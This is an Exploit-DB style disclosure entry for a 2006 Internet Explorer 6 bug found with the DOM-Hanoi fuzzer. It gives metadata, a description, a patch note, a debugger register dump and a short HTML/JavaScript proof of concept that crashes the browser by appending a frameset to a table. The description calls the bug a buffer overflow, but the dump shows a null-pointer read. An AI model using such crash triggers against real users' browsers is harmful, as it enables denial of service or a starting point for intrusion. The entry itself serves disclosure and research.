Internet Explorer 6 DOM-Hanoi Fuzzer Script Vulnerability

vendor:

Internet Explorer

by:

Aviv Raff

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Internet Explorer

Affected Version From: Internet Explorer 6

Affected Version To: Internet Explorer 6

Patch Exists: YES

Related CWE: CVE-2006-3869

CPE: a:microsoft:internet_explorer:6.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2

2006

Internet Explorer 6 DOM-Hanoi Fuzzer Script Vulnerability

The vulnerability exists due to a boundary error when handling certain combinations of elements in a DOM tree. An attacker can exploit this vulnerability by creating a malicious web page containing a specially crafted combination of elements and then convincing a user to view the page. This can result in a buffer overflow, allowing the attacker to execute arbitrary code on the user's system with the privileges of the user.

Mitigation:

Microsoft has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

<!--
http://browserfun.blogspot.com/

The following bug was tested on the latest version of Internet Explorer 6 
on a fully-patched Windows XP SP2 system. This bug was found by Aviv Raff 
using the DOM-Hanoi fuzzer script. DOM-Hanoi works by building trees of 
every combination of elements up to the specifed depth. An alternate PoC 
could use plain HTML instead of javascript.

var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);

eax=00000000 ebx=01884710 ecx=01886c60
edx=00000027 esi=0013aeb0 edi=01884730
eip=7dc995ad esp=0013ae88 ebp=0013ae9c6
mshtml!CTreePos::NextTreePos+0x23:
7dc995ad f60010 test byte ptr [eax],0x10 ds:0023:00000000=??

-->

<html><body><script>

// MoBB Demonstration
function Demo() {
	var a = document.createElement('table');
	var b = document.createElement('frameset');
	a.appendChild(b);
}
</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

# milw0rm.com [2006-07-07]